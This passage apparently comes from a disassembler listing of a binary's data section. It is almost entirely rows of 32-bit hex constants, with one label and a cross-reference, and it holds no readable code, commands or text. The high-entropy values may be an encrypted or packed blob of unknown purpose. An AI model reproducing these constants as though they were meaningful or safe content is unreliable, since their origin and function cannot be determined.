5914AD07h, 0C29CB0Bh, 6118C87Ch dd 16ED98D9h, 1EA62F1h, 0E83FB734h, 846732h, 0C9438436h dd 0C93F0AC2h, 8803080h, 1CA962A1h, 0C47C20C9h, 5A2A1230h dd 59980572h, 320CEC44h, 4092D8D6h, 941974h, 5885BED9h dd 0F99A9886h, 5FA5D504h, 0D8D01F11h, 0DD24F894h, 7DBFC050h dd 0B7471EDAh, 806828E5h, 0BE2FCF5Ah, 0FC84509Ah, 0AC4B802h dd 50C35FBCh, 0C23008E0h, 9A26C807h, 65689249h, 93283D4Ch dd 35C40D2Ch, 0ED28CC84h, 62742CE9h, 5147A2B8h, 1DCA04Ch dd 0B0E5309Dh, 406FCA94h, 0EAB44DD0h, 0A60BFC3Fh, 0B8895406h dd 46948324h, 0DBE811DDh, 0B37404F5h, 8823A7h, 30535105h dd 0FC209435h, 42F41BFh, 42C001F8h, 0E11AF3EBh, 136CF4A3h dd 0C6A1E409h, 1E94E092h, 37C1897Ch, 3D13E40h, 0BEF04911h dd 0F8B7BC4Bh, 0C97E9D0Ch, 7127FEC8h, 0F489E4h, 94F74CC0h dd 6AC404CBh, 0C414FA44h, 0BCB8E40Ch, 8F00BC96h, 635CA7A4h dd 2C1101FFh, 0E4CDB7FCh, 20FC6197h, 9634BE70h, 0D1780Ah dd 0C8707590h, 86861C6h, 80189CBEh, 0FD247020h, 245AF774h dd 0B87534h, 6648563Ch, 0FF01BB05h, 2798B362h, 0B4282340h dd 88C12613h, 0C9305944h, 3D2B3830h, 6B940E6Ah, 5A8C4291h dd 7A171DF0h, 0EC4026B9h, 0E333D9F6h, 28BE04B0h, 80E24B90h dd 1FC87190h, 4A9C1E48h, 64169C12h, 0E8B19462h, 8064127Ch dd 8397F4C9h, 271D08F4h, 78390580h, 38406A4Dh, 20E9371Eh dd 8E6200EFh, 7F757492h, 91162CCEh, 0D080DD94h, 7883713Dh dd 0DCF1585Dh, 7E729000h, 7F20E60Bh, 7DA0F91Eh, 651E55C0h dd 0CADD4C9h, 38615ACDh, 0B9247E80h, 0BE0CA4BDh, 4955010h dd 0A5943C2Bh, 1E30E48Ah, 0F5F31802h, 40A38EBBh, 23A4C4Ch dd 0A2FCB408h, 4879E4D0h, 517EBE1Fh, 1A65F0D4h, 5A71FD06h dd 42F170ADh, 741818BBh, 0C4943178h, 0F34A2A30h, 82A23E9Ch dd 5A5F3023h, 66A08937h, 0F22F255Ch, 1C420081h, 932100CFh dd 0CCB89Dh, 0EBB5DF73h, 0B21A837Ch, 2CD97D3Eh, 843EC453h dd 0D0AFD4E0h, 0FEAD6488h, 0A66F0026h, 0E2A98DD1h, 221225BCh dd 0A40FD09Dh, 0FA403DB5h, 48BF7CA7h, 0F3CC06AAh, 78108542h dd 0A294B40Ah, 580098DBh, 0F2C4B941h, 3A2800AAh, 8E8B7B0Bh dd 0C9305FB0h, 93313026h, 807905CEh, 0C8285A7Ah, 0FD1E9CD8h dd 9F89C962h, 0BEFC20DFh, 1E4DACA3h, 6EC45F01h, 0C216B70h dd 408F35BEh, 3077C1A0h, 4284C8B1h, 34D058A7h, 1AAA4DDh dd 0D03F8B24h, 0E02692E1h, 0FD3CA75Ch, 0B7BA1A80h, 0B6F46120h dd 0FA528017h, 7100F32Dh, 0B7CF5C7Dh, 0C0E70694h, 5A748FE8h dd 0A8C182FAh, 6B90BE30h, 0B0A7DC30h, 8878D6E0h, 9DA6BCh dd 25F622D8h, 0BE610D84h, 72305599h, 0BFF90054h, 0D528A72Dh dd 8B8D04FEh, 0FFB294h, 0DEBDC34Ch, 71421392h, 17E05335h dd 5948203Eh, 68C0DBD7h, 22D53241h, 6ADA003Dh, 5316FA5Eh dd 0CE09E92Eh, 98211Ah, 0F90E5614h, 0D57F021Bh, 0C91D5FBBh dd 0E3F8244Bh, 6A5C6D42h, 0B8CCC1C4h, 0DC6CC074h, 0CC2405C8h dd 0CC24244Ah, 8FA08h, 7C972316h, 0A000B7E1h, 15F527A9h dd 7187E35Ch, 7973265Fh, 3D308238h, 0B0E6A5BFh, 0C447BE1Ah dd 3AC46110h, 5B5925CCh, 28AC1FCBh, 288898ACh, 90A739h dd 6794455h, 0AF56085Fh, 0DDB468C2h, 0BAF88184h, 10E4A999h dd 0EBA534BEh, 2400D858h, 0A3004090h, 66EA42ECh, 178A8407h dd 253D460h, 0F1BE2ADCh, 0E21F287Ah, 4E0FB090h, 0CA0184D7h dd 0E3FD4091h, 939D8714h, 1A04A07h, 15022D43h, 2C94D255h dd 74D020h, 2F3ED31Bh, 0FAAD58D5h, 4D798903h, 0F822A2ECh dd 7BF5D16h, 9AF4DCF5h, 46585B2h, 0B4F1FC08h, 0D02F3D14h dd 603492ECh, 805829F0h, 9F079C21h, 0E9B222AAh, 721D61CEh dd 6C7D7009h, 0EBC81E78h, 172D87C7h, 78803921h, 0F441EF57h dd 879BE201h, 0DBFDFA24h, 0BD12030h, 3B88332Ch, 935D1480h dd 591311A5h, 70402AC6h, 0EC5AA486h, 2827022Fh, 8F6ABE24h dd 0ED8460Bh, 9132BDBCh dword_4E414C dd 9261C663h, 5A2508C6h, 27B0803Eh, 0C282F3BEh, 43B3FA38h ; DATA XREF: ___:off_43A1C0o dd 0EC914940h, 8401F4B0h, 22C72A1Ch, 9880939Bh, 0EEB29E0Fh dd 73031E30h, 5F2A94FAh, 608DC4DDh, 250E0468h, 221341BFh dd 0D87E92A4h, 0D820A49Bh, 0B272B5F4h, 0DE8C3094h, 0CE044828h dd 10AC575Ch, 0C04CC5C0h, 61A510h, 41277C4Eh, 1266FED9h dd 9BDCCC9h, 30241871h, 47488188h, 6342E222h, 6490B064h dd 0BF4225h, 3EB8F0DCh, 3C45FA2Ch, 900622BAh, 0C9A35F1Fh dd 0BEFAF90Bh, 0C30C41B3h, 0F43C4BD4h, 0CA7215h, 0B4DDA25Eh dd 9888E55Fh, 0C92C290Eh, 0FC9E42DBh, 8C7CC0AAh, 8290D68Fh dd 0E845B71Ch, 8A292CFh, 0B302504Dh, 24A7B474h, 37B90E6h dd 28831681h, 79CC33E9h, 0B096B7E1h, 0BE2D4118h, 13489687h dd 8DD0886Ch, 0C0A1382Ah, 64BF48h, 0CEF4C225h, 9CFCF345h dd 0DB00EF18h, 56DFB5C8h, 0D9664A00h, 2120D3C0h, 0A6D131BEh dd 0D94E1D60h, 38507016h, 0C30E38D2h, 62905A7Dh, 90CF6078h dd 9C2205DAh, 0E64A54A0h, 588040C0h, 97E2158h, 50895F0Eh dd 0AC5919D8h, 70E08886h, 858310Fh, 8581018Fh, 0C8625F3Dh dd 0A9109C79h, 172C3E82h, 0B8C8F2D1h, 9D9E03BEh, 69CD4293h dd 8ECA1807h, 0FD9467A6h, 15BC0F2h, 0BB174630h, 78A83C23h dd 7DFB9B04h, 60979E9Dh, 0A82264C5h, 1A784093h, 0C4D90E94h dd 0B5A68415h, 4E008881h, 0FE8D8F3Eh, 123642AAh, 0F802A40h dd 4FE56ADCh, 0D47C80DFh, 320516B8h, 62CFA8FCh, 901DC0F5h dd 431EE841h, 0A4582472h, 0C22E4E02h, 3C609AFAh, 5400D358h dd 36567CAFh, 30252B7Eh, 68103251h, 69023813h, 16243D27h dd 0E7608463h, 5AE228F0h, 20D44CC0h, 952621F8h, 0A817E868h dd 91ACD0D1h, 3A70F901h, 30E00CC4h, 0A0FA3BF6h, 0C0A75FA8h dd 2A929158h, 610344A7h, 8F68D4FBh, 4C5CC0ACh, 0F2980058h dd 0B4CDAE74h, 0D80BBB42h, 4241A32h, 18001654h, 0C7C1C5CFh dd 6D29415h, 136721BCh, 42CC02E7h, 6C48E64Bh, 0A7002BB0h dd 0F8256256h, 90BDDC5Bh, 9C859DFFh, 0D9C8E032h, 0E4331A2Ch dd 0EFD64C2h, 0C81A52C9h, 0A7FF30E0h, 15AAA80h, 0CD5FF2C9h dd 4299FD94h, 68503FF0h, 0CCF62412h, 5820E48Dh, 58E760B4h dd 5BAA2E4Ch, 80150609h, 0DCEA03B7h, 0F8F606E1h, 902DB55Ah dd 0D1B01E60h, 2C6738E6h, 3A10F960h, 0FB75DB80h, 0EE837CBBh dd 1F25BD38h, 0B8E8371Ah, 3855EA25h, 9C611658h, 22BE442Ch dd 212C4020h, 0BA5F2F2Eh, 81617480h, 2F00F438h, 0A9A3F6E1h dd 4C9037h, 0D8289FE2h, 6D24291Fh, 0AA39B40Bh, 0E3E88012h dd 891557h, 0D4CC4BC6h, 0FE695F82h, 0E0B850C9h, 2D1DCB78h dd 0CC93E6B3h, 30F12EF0h, 69E3DC12h, 77B0C001h, 0C5603548h dd 92EE00D8h, 0BEFB416Ah, 0D494932Fh, 1723BC3Fh, 5833C00Ah dd 4FB00024h, 7CBF130Eh, 660E795Fh, 0DEAAE939h, 0DCB01800h dd 0ACC2C2Fh, 584694B4h, 5A383080h, 0B8A01A87h, 5F12B2B5h dd 28B36741h, 4446B800h, 160331F3h, 2305EBFEh, 9E212705h dd 0A058F080h, 0A4C700E5h, 0B86A572Fh, 0FB26EAA3h, 5832125Ah dd 82044A7Bh, 0F8616EACh, 145916ACh, 5B60401Eh, 9022C015h dd 0D8A17200h, 3FE16F67h, 0C961281Eh, 0E2EE8Ch, 24E66B96h dd 37CBED6h, 6D88B0BEh, 0A38E0190h, 70FF5B67h, 39013810h dd 0AAFA2EACh, 0A6C605BEh, 7A840A0h, 10DCF0ECh, 0E6C660A7h dd 94148CFDh, 8C027Ch, 5080C431h, 3AD9C393h, 0E05FD28Ah dd 732442D0h, 0B1079C97h, 89432Bh, 3BA9935Ch, 60153C10h dd 0A38F97h, 7A1DC10Ch, 0C4649C5Ah, 0E0DDA0h, 10D26577h dd 408080B5h, 9312ECEEh, 60043E96h, 0C60B15AFh, 0FCCC9429h dd 1CFC9CB0h, 0A0C208D3h, 8018DE65h, 0C828557Bh, 10CB9D03h dd 5998017Dh, 11929E49h, 0BFB004B6h, 9C18EADDh, 2F212F49h dd 209095BDh, 4882B649h, 6163947Ch, 272D10B8h, 9CD2E35Fh dd 0E6CC2909h, 3B60CF34h, 68F889F3h, 0EC1EA0B8h, 4D64B410h dd 2A0889D0h, 59BC8921h, 16BE05ECh, 38DC4397h, 78CE4994h dd 980DC431h, 0B8049FF4h, 7F20C0h, 28B4BCCFh, 0DAA59AE1h dd 162AE200h, 17661565h, 0A8620B5Bh, 0C87889BEh, 449408A0h dd 0C848B169h, 10599A0h, 0D322DC29h, 605CCCA5h, 0BE24A744h dd 0C089C464h, 9E38EC8Dh, 0BE2A50D0h, 5409E824h, 783E3342h dd 0D54C007Ch, 175490E2h, 9606224Dh, 73115A5Fh, 75493C20h dd 0A7608B13h, 0F2210AECh, 9D43F866h, 0B8AEB2h, 2B381A79h dd 55B1C426h, 0D96A6D60h, 0B4954BFh, 635FA58Fh, 200488F0h dd 0FE43BE82h, 179EB8E8h, 0C140F052h, 1C05AB4Ah, 0E4E0C9F9h dd 7DD74027h, 0B7D0A50Eh, 57022047h, 12581EF7h, 0B053CCCFh dd 564BBE6Ch, 7C029C04h, 1858E4BCh, 20F905C7h, 0CFDCCC11h dd 61A85A16h, 0C759D8D0h, 6FF417D1h, 87AC19h, 0F72DBB92h dd 5643B3h, 1E359524h, 0AE8ECB77h, 160154BAh, 3FC29147h dd 24C95920h, 0D59D5084h, 4AF4E85Eh, 0E6C9B88Ch, 3B7E25C1h dd 0E1042D70h, 989B5F2Dh, 0BF0010E8h, 0DC09F178h, 0B0913E1Ch dd 3071C80Fh, 0A4E27D25h, 76CEF468h, 0CC24D090h, 0C0F18ABh dd 15791894h, 9D620954h, 0B4A31183h, 80989EC2h, 4D01CCEAh dd 3A0ED0E9h, 8EE071FEh, 0B80300ADh, 5AC193F4h, 0C8C06708h dd 0B7B09CF1h, 42DD0BDBh, 60E415ACh, 0D220DC90h, 8D850072h dd 0BFE94E23h, 7E6ACF03h, 42C2CC99h, 458D823h, 0D6BE30CEh dd 0D970B0FBh, 6A25AB07h, 4CCF2488h, 0BEC318F1h, 1D0C88ECh dd 0AB1944BCh, 0ACA194DCh, 4A1EF890h, 0E809B01Eh, 4A4C00A2h dd 1C08A756h, 12466AFEh, 0A9C00016h, 2CB669DFh, 0FFB4BE18h dd 79755470h, 0F41748DAh, 0BE40E06Ch, 5DCD3Ah, 7C3FA198h dd 0DAB487h, 572AE3EAh, 65591427h, 5C9CB00h, 18F1C191h dd 97F496ACh, 0C0680074h, 5C11BE61h, 0F4E448CAh, 0AF29FE00h dd 14551ECFh, 0F0E5D95Ah, 0E0692725h, 6314115Eh, 20F96090h dd 999C4ED1h, 5CF866FCh, 9B59C224h, 2894840Dh, 0C00090A3h dd 44F84A4Dh, 6D019A2Ch, 772B1F92h, 74F29441h, 5796005Ch dd 28537ACFh, 1A0578BCh, 84E0DA74h, 90EC2694h, 32B1B3C0h dd 8EF4A4F4h, 20314041h, 9EC84C40h, 208C9217h, 1E193335h dd 59C1D02Dh, 7DC78E2h, 0B3C47A20h, 508D7694h, 816D3D09h dd 24486885h, 4D2B00F8h, 74EDA7C9h, 587ED0A4h, 45551609h dd 0E13B80D7h, 15B7D8Ah, 0C9247B75h, 2C8BFCCCh, 50184DE4h dd 66594AE4h, 0E726855Ch, 0B9E438D1h, 0A48212Eh, 5AE107B0h dd 30AC8782h, 0AD500270h, 0AF009904h, 0F55135h, 0C7CC84D4h dd 0C6191C1Dh, 0B3807450h, 69C44E0Bh, 12A48260h, 0F96C03FDh dd 61133290h, 85648E48h, 0D0D6A638h, 0E15096A8h, 84B0529Dh dd 0BEE24121h, 0E2D430A2h, 4440D841h, 4F85EDC4h, 561CD121h dd 599600C5h, 0F6DC325Ah, 8C402140h, 40F40726h, 642B30Eh dd 2F3801C1h, 93F525Fh, 8C802A2Ch, 0A4D568FDh, 0CCB6BBF8h dd 2E9DA000h, 5CC0D9C4h, 0F13854C6h, 0DD409685h, 6CD782BCh dd 0BEE1187Eh, 6307B1h, 0E0A52E12h, 0F44004ECh, 0DDB64A9Dh dd 0BF53E844h, 5169F494h, 0AA598644h, 80B028E0h, 0DF91C218h dd 0B107C319h, 0CDF9007Ch, 446AE5C9h, 0ADBEFE0Ch, 2DC1709Ch dd 0B090C354h, 3A67C442h, 5019CA10h, 0EF14205Ch, 5FA2DD09h dd 0CF746137h, 0FE3E53C0h, 1FA898EDh, 5299BB9Eh, 0E9D02489h dd 4AF9272Ch, 86245BBCh dd 889E2DBEh, 0D063E01h, 165AD4E4h, 0ADB068DAh, 0A77061Bh dd 569D13E6h, 2EBAAC12h, 845E042Ch, 0DAFA9892h, 31A23400h dd 76DE209Dh, 60DD0678h, 0E8C1E8F2h, 31D388B0h, 0F00DCC0Fh dd 503C9E7Dh, 8101582Fh, 6AEDCEF0h, 3C20FF60h, 9BD42CBBh dd 0F45E0330h, 80C5BAC3h, 3FDA0708h, 9003FF5Fh, 0C24CB42h dd 0E2F2C848h, 789A2A50h, 0EC3D2F05h, 883185D9h, 0C88F7907h dd 992022CDh, 0C1D281Ah, 0E031185Ah, 682CCEDBh, 2E479483h dd 52C62004h, 53EB9A5Ah, 6448045Ch, 59D4C173h, 0D0132ED6h dd 3CE0A052h, 83461C3h, 0E55B5A8Dh, 928C4929h, 44B22E50h dd 8E769D30h, 0F2F6D4CFh, 30AF5800h, 2746D969h, 879A0778h dd 70551F38h, 0E9606F26h, 922B3A05h, 7E84BEB8h, 0ACF97CD0h dd 5A79131Dh, 0FA94F155h, 3AC3F6h, 0D52E0B63h, 6AA6C1Ch dd 3C5FAFCCh, 48E380EFh, 5C1285C8h, 300294CFh, 50D98C1Ah dd 30212F4Ch, 3427C416h, 658E59Dh, 0E99192E1h, 40CC41C9h dd 0B523DADCh, 0DF4214B8h, 4958965Ch, 0BF307894h, 0AE8C4967h dd 0FC3E00D1h, 7CCA7E9Eh, 0FBF8BE52h, 403242F6h, 0ECCB2806h dd 436A380Ch, 0A8B00E5Bh, 94E9E441h, 2A806479h, 20E05F12h dd 1D9074B4h, 408EBB78h, 7D4E53A7h, 0CC25326Fh, 23208083h dd 0C0DA185Fh, 0E9692F30h, 0F898B2A2h, 0E0B15227h, 0B26D160h dd 3D59340Ah, 0F0D4DC6Ah, 0F922A840h, 0A289020h, 0CC5CBE21h dd 1E3C2CD8h, 5131F50Bh, 0E869A028h, 0AA12D051h, 7F2EDCB2h dd 2CCC0000h, 89C7C04Eh, 52A70400h, 0B5D8DE93h, 22BE28BCh dd 0AF130F9Ch, 0B0432C9h, 0D270E8EEh, 0D0F088E1h, 0C160C27Eh dd 59012843h, 0E035EEDBh, 4003D420h, 7E4ECE09h, 0A848A889h dd 748C4D48h, 0A31CF012h, 8A191214h, 14934080h, 294E4C01h dd 260CF17h, 16E5C258h, 43A218A2h, 4A87891h, 0C0A190ACh dd 0A4206E85h, 92F08B3Dh, 4DDC90F0h, 304AE021h, 89335960h dd 96DC7282h, 3B690978h, 0BC94B4A2h, 189890C8h, 0C0785918h dd 0B5C17230h, 0C23D6C31h, 389888h, 9768664Eh, 42046AF8h dd 935716FEh, 928C86C0h, 812E4FB7h, 88F62F60h, 4F05368h dd 91585090h, 2F715A3Ch, 88059807h, 7C971940h, 72CF14F1h dd 0BEC240C9h, 0F4C88E92h, 0EF28E5C5h, 2609ABEDh, 80C99D38h dd 1E39B79Ch, 8E623E93h, 8089A4A5h, 89CCA088h, 4DB3B06h dd 0B5BC98A5h, 4FF84F1Dh, 7C8906E8h, 1A594C30h, 2B90BB60h dd 0AA78A2BEh, 7EE842D8h, 0C784978h, 1B6FBE15h, 277C58D0h dd 0E6D4844Fh, 6178984Ch, 8032BE2Fh, 2ECEF5F8h, 0D76C002Fh dd 0FADF8840h, 0F47A378Eh, 58181107h, 8A159D61h, 232B80E2h dd 1DC60EF8h, 9493368Bh, 0D1941009h, 599C40C7h, 0C08AFDCDh dd 0E0B09973h, 266D272Ah, 984CBE24h, 78669E80h, 3CCDE1C5h dd 7864B794h, 4D28ED23h, 0AAD41810h, 631618h, 337620C2h dd 367DC0E1h, 22E3D20h, 82ACDCFh, 8CE28161h, 98E10802h dd 209414AFh, 88A4FB2Ch, 7D03CFF5h, 0A00D25EBh, 923E6C9Dh dd 5ACFA48h, 5AF2E961h, 4BACF0E5h, 4909CD07h, 22142C1Fh dd 42D244C2h, 58E9620Dh, 0C7CE05DCh, 0F02A4FF6h, 5676C23Ch dd 7988F981h, 9917D764h, 226F231Eh, 0CAA95904h, 0B724EE74h dd 0A9B73885h, 7B27221Ch, 0AF5F1521h, 0CC24D023h, 2E043A6Ch dd 90C7F43Fh, 93B9E374h, 7CCFC31Dh, 0C4F0EB6Dh, 0BA7C88E8h dd 3C58F02Ch, 0C7B03FAEh, 0EC9D6269h, 0B8885F54h, 4ED06649h dd 59C10004h, 44771480h, 68C395BCh, 0DACE3DF0h, 4A800CB9h dd 0EB458817h, 475600AAh, 0D4580137h, 9A00CBBCh, 5A272CA8h dd 16601428h, 0B0C69D65h, 1603D508h, 0C4C1DE0Bh, 73C4AD96h dd 0D22E34C1h, 266C426Bh, 0D44038E6h, 0DA006A9Eh, 4156D309h dd 95B69D64h, 10D15C89h, 8F35985h, 9B900890h, 0E4DD019Ah dd 0AB946B02h, 30960041h, 9CCEF0D0h, 0C42C00CCh, 36901FB6h dd 6B204890h, 1354BCFDh, 806417CCh, 945ACD60h, 0B2617F60h dd 14D8A7h, 4E5EAAFDh, 3823CA85h, 0A62E4490h, 5A09210Ah dd 0BED0FAB6h, 0BC7BC050h, 0E15BE726h, 0F8052489h, 8CBD0024h dd 30CCA018h, 47009227h, 1B3439CAh, 24014A6Ch, 3F309AB9h dd 2794581Eh, 0EF98B004h, 0B92CC401h, 7C38DA65h, 3B402ACAh dd 0D0485401h, 3B2728B4h, 7B08C810h, 93BAE217h, 8F12A4A6h dd 7E7C4147h, 0AC07A45Ah, 0C8054CD9h, 6CD5CAC2h, 144C1CACh dd 0C064914Ah, 16246D8Dh, 0CC30582Fh, 2EDB924h, 8C857B37h dd 8845CA7h, 4FE0CA73h, 0FBC9C459h, 0D0A4DD10h, 3FC2B8B9h dd 0A39C63BFh, 0D594C8FAh, 5F258045h, 4080BB30h, 1CD7142Dh dd 82BCBA84h, 0C52E5926h, 67EAE0CBh, 0FDFF5840h, 5D94680h dd 5F2249B1h, 1244E88Ch, 0E400ACB8h, 0EFDA4260h, 444B067h dd 55E34B2Fh, 1C618427h, 2B49024h, 94B2441Eh, 79BC48ADh dd 0ABD91DC4h, 0C8FA183Ah, 941A2C98h, 0F91658h, 0F254859Ch dd 0DD925EE2h, 0CC073E70h, 0D0FBBE24h, 60AA2E30h, 0D0BA0FB4h dd 34889029h, 0BE270308h, 2817E372h, 40B492CDh, 2AB4404Ch dd 0B8451E03h, 5037DF94h, 900CC468h, 5AE30DF9h, 0AF28FE23h dd 70388B76h, 0EC942A80h, 382B58B0h, 0F3E5D607h, 0B55DC285h dd 9E799600h, 0FCB7856h, 5F8D897h, 4EFA1140h, 345014D1h dd 6480F9E4h, 25C422DAh, 5642948h, 9ACF5F69h, 40CC8CC2h dd 98ED358h, 382AE857h, 0F88954D9h, 8510102Ch, 40BD48ADh dd 0F161BE13h, 86534040h, 0E202CC7Ch, 0E31CE88Ah, 4F8DE09h dd 87F79ABBh, 405F7148h, 0B3488033h, 9B354542h, 0A0D47031h dd 0C0EDBFC4h, 2565167Eh, 0E6018E3Ah, 87EE7BAh, 0EFC81327h dd 3380004h, 0A8DB02C0h, 3C608D30h, 23FB0C18h, 0B75C3108h dd 0E2D80A10h, 0D73CC27Fh, 0DBFC5C44h, 0E621820Fh, 3E00FF09h dd 0B8DAC563h, 776D00D1h, 4E1AB257h, 5A0038E1h, 3BE643CBh dd 61B308E2h, 6B365845h, 0BCECC04h, 4AB4C900h, 571A26D6h dd 0A1F91ECDh, 5C78000Ah, 44D0EE63h, 0F0789EE7h, 2EA86245h dd 0C5DC5801h, 0D3E0CB53h, 0A8C26039h, 0BBADFBAEh, 10EBE330h dd 3956A27h, 41D67B20h, 6BC3D0A8h, 0BEAFB000h, 0F5E71598h dd 0DCFF1CCDh, 2717811Dh, 99590662h, 1E8067F8h, 88B0B602h dd 0AD28DBB0h, 0A4800886h, 0E0F3692h, 0ACBA2C8h, 0D7000808h dd 0AD9BDA6Bh, 0E3AE3A40h, 0C0B0D33Fh, 0EE6A4F38h, 0B1002371h dd 81C9BBC7h, 3F34E67h, 0D0667968h, 801CA9C0h, 210AB5h dd 0D39008E8h, 2B8950AFh, 1D28C48h, 486AF8CDh, 0D050CABBh dd 0D000C892h, 0CB1BB171h, 19C1B3DFh, 30404F70h, 78F06A89h dd 0FC03E210h, 69DC3162h, 489F6C18h, 4A12F0A4h, 1800A664h dd 4CB2BBDh, 19030020h, 6FF1CE57h, 0D0189367h, 5830E163h dd 13660317h, 4CA16284h, 0CB3503Fh, 797C31BFh, 0E301003Fh dd 17282542h, 4F68A962h, 0E106E091h, 15107663h, 98E823D3h dd 0DFF74C00h, 22B0082Ch, 301048C6h, 28023AB8h, 848B5615h dd 0EDD70A00h, 106B0DBFh, 0FF503478h, 0F300AE08h, 0B1736EADh dd 0C0AA2262h, 78105F69h, 0A8A1A6C5h, 0B8012ABBh, 74F04C37h dd 840CEE1h, 5485E0B2h, 1428C825h, 0F469D816h, 0A010B894h dd 0D3D406A2h, 128FFDCh, 0CDE1BA78h, 54B78548h, 77EC60C8h dd 27604B08h, 0D0D90238h, 0C0DA5418h, 333F1E61h, 7C6E818Ah dd 0D8208D6Ah, 20C02CC3h, 8390D989h, 5E7000C7h, 6171DF7Fh dd 9840DE4Fh, 33693008h dd 19483458h, 0BBB6FC00h, 0D9E2DD6h, 7C700044h, 0D1CD0E82h dd 6631F93Bh, 0AA2C6095h, 0FD0AB200h, 2A927891h, 8103821h dd 0FA82C040h, 7DC20D0h, 0BBC6A400h, 1EC17C4h, 6670000Bh dd 0B5843929h, 165082D3h, 8187DB4h, 0A64831D8h, 9437B64h dd 0F03754BCh, 8898B42Ah, 7500694Fh, 16405C55h, 5F6200F1h dd 0B17812D0h, 0DE28CB03h, 28125087h, 5449D608h, 0E108B3D5h dd 7835A09Dh, 2F2802C2h, 0DD54DB00h, 37E100BBh, 9B63707Dh dd 1C12C76Ah, 0C000F4B3h, 2EF3A8F7h, 4E80061h, 6EC4EB8Dh dd 0B04C4065h, 50821C3Ch, 0D0143181h, 3430711Eh, 0A7480070h dd 0FB856302h, 0A4A0EBC2h, 0B526ED35h, 8800683Fh, 62D89080h dd 0C05260F2h, 22C8B681h, 35B05900h, 0B5F1B3D4h, 0C1FB03CFh dd 74D3DEEAh, 1578D4ECh, 24569890h, 6B29A800h, 8AAF4741h dd 7FD0D60Ch, 3D689070h, 2986209Dh, 30BA6F62h, 0BB996E00h dd 70693E8Ch, 58BC0067h, 0A06BD909h, 4FF2E0FEh, 0D30AA80Eh dd 4B48E19Eh, 0FBE040D2h, 54DA2661h, 0C31001CCh, 21FAE653h dd 0BB00E6F8h, 0F0DC1FE5h, 0F0F07F76h, 0B608A1CDh, 1025D842h dd 18050405h, 0BD650803h, 24D3C80Eh, 490CA30h, 62246210h dd 1BBD303Bh, 88FE4064h, 15F023F2h, 3133D330h, 3EADEBAAh dd 9051B068h, 81420A6h, 8D3ECDEFh, 68A69408h, 2084B1E9h dd 86D8EA62h, 0D101F828h, 0E01DE8A1h, 54206347h, 0B06EE35Eh dd 561BE4A5h, 0C90E05BEh, 51F8EC02h, 2A09A0B9h, 0B88C77C4h dd 19C57B16h, 3D020369h, 0BEAEC1Dh, 32815D40h, 6F06BACFh dd 30C76C63h, 34EA53B5h, 5A224267h, 0DB32345Ch, 9CF90D06h dd 331EA158h, 33BF5701h, 0EE30B710h, 0C2D701F8h, 0B9EA07EFh dd 5380C3F4h, 518ED84h, 0AD46258Ah, 2A18C7F7h, 74B673C9h dd 3588541Fh, 0F84C5DDEh, 2671203h, 57C9BF10h, 7388ED82h dd 88990C23h, 7F2A6910h, 56797329h, 1208AF30h, 0CE8223EAh dd 9EC65B0Ah, 58000C73h, 40134DC0h, 0C049BA7Ch, 60FA320Bh dd 80E1CF02h, 8A525A8Ah, 0A1C282E2h, 0C8D843Eh, 0F5AA0D88h dd 51FA17C7h, 75C1406Dh, 2AEAD0CFh, 0D6008231h, 5F472E1Dh dd 41D1F800h, 8B4C7B36h, 610C046h, 0E5349AA4h, 59C20203h dd 52322EAh, 55253D53h, 35A52260h, 34BD03h, 65BCCA7Fh dd 0E2C22E8Ch, 0DAF80919h, 0EAF8070Ah, 92401AFDh, 6C08DE25h dd 0C4E514F6h, 34EF8C2Ah, 0F10E88Fh, 0F00606E0h, 0C7075F66h dd 802847B9h, 3A3A1B3h, 5402F817h, 0D8AB78F7h, 523EB8E9h dd 0D40F2DE5h, 52F07257h, 5D68939h, 1907EAE9h, 10CCF150h dd 5A1F6AF6h, 0F3DF8C58h, 870FBF86h, 465FC118h, 7223027h dd 0E04ED5BBh, 9574A251h, 0E064CAADh, 4E921635h, 5F69CF80h dd 2D9E3D54h, 6806EA80h, 912779Dh, 90306074h, 0F0832676h dd 7AA2051Fh, 6E833454h, 82BA0559h, 5AF423C5h, 0FE03C6B9h dd 978C7BA4h, 7B744Fh, 0A34AF482h, 8AB61850h, 0DFA51C60h dd 3CA0E2D5h, 0DE79456h, 0AF489E4Dh, 49690693h, 540A51Fh dd 7152653Dh, 8DB35E15h, 1152F1EEh, 500E316Dh, 8378EA7Fh dd 0CBE08A8h, 1C07EBE2h, 0CD7A392Eh, 0CD042AB5h, 600E9A59h dd 6B44D2C6h, 24693D40h, 624815E7h, 17696EEAh, 14E0D85Eh dd 3106FFACh, 625A69C4h, 8AED433h, 0C289A498h, 0E2C0EA13h dd 5195125Dh, 780370F3h, 5A679E1Dh, 9D3828D4h, 2ADD6892h dd 82D5CAC1h, 0E78A5760h, 0D085442h, 2D104906h, 6324695Ah dd 56FD20Fh, 50527A2Bh, 0D7840D18h, 0D2BB386Bh, 2962E00h dd 0A1D3EAFBh, 41A87E99h, 540CD420h, 3C33BBAh, 5E7D4585h dd 0EBC2CB02h, 205A0885h, 69C910D9h, 0EC74D72Bh, 57E17719h dd 80655FD8h, 5973C302h, 845BD103h, 363403C1h, 0D06322Eh dd 0EA525D06h, 13EF541h, 0F9296D2Dh, 23102869h, 0B353026Eh dd 40D489BAh, 0D47E1AB9h, 977F5B1h, 0F42A9630h, 52027216h dd 0B957D3BAh, 225616Bh, 0BC541980h, 62943568h, 5CDA2A1Fh dd 4EEACC42h, 82344C4Bh, 38980224h, 0BB5F008Fh, 153D60C3h dd 5CE6994Eh, 0F55105EDh, 0BB00DCF2h, 0BD0671E7h, 7213BC33h dd 6387FE0Ah, 8C5D3092h, 0F0FE6445h, 89B0D56h, 6FA34008h dd 13143704h, 284DA200h, 3CC20B74h, 518003E6h, 9649595Eh dd 0EA12D6F8h, 23293FE5h, 0F854B0EDh, 7429065h, 0C25B5553h dd 0FCF6685h, 0C3845FF3h, 0D49FC35h, 7E53601h, 60543976h dd 0C44282E9h, 37EC5476h, 728C48BFh, 17AA5AC9h, 2C601093h dd 5F9A3032h, 194C9823h, 12BC809Bh, 7A6C3F14h, 0FF31318Fh dd 98E0E68Ah, 45A9C284h, 37C30925h, 55058DCAh, 0D3049A15h dd 2469836Ch, 6D355A53h, 0BEDFAC89h, 0D49F8921h, 0D02C1594h dd 5C6605C7h, 90800323h, 5A03ED8h, 0EAC62A72h, 59499016h dd 4F91F232h, 40C0DE6Eh, 0EA6F9F62h, 22964161h, 0DBCE16C2h dd 5F06841h, 62805250h, 42EB43F6h, 1D58A2EAh, 683CB6DEh dd 8B7C484h, 5F129D56h, 6C260664h, 15090218h, 0D70208CFh dd 8002262h, 3D8CFF2Ah, 122896B9h, 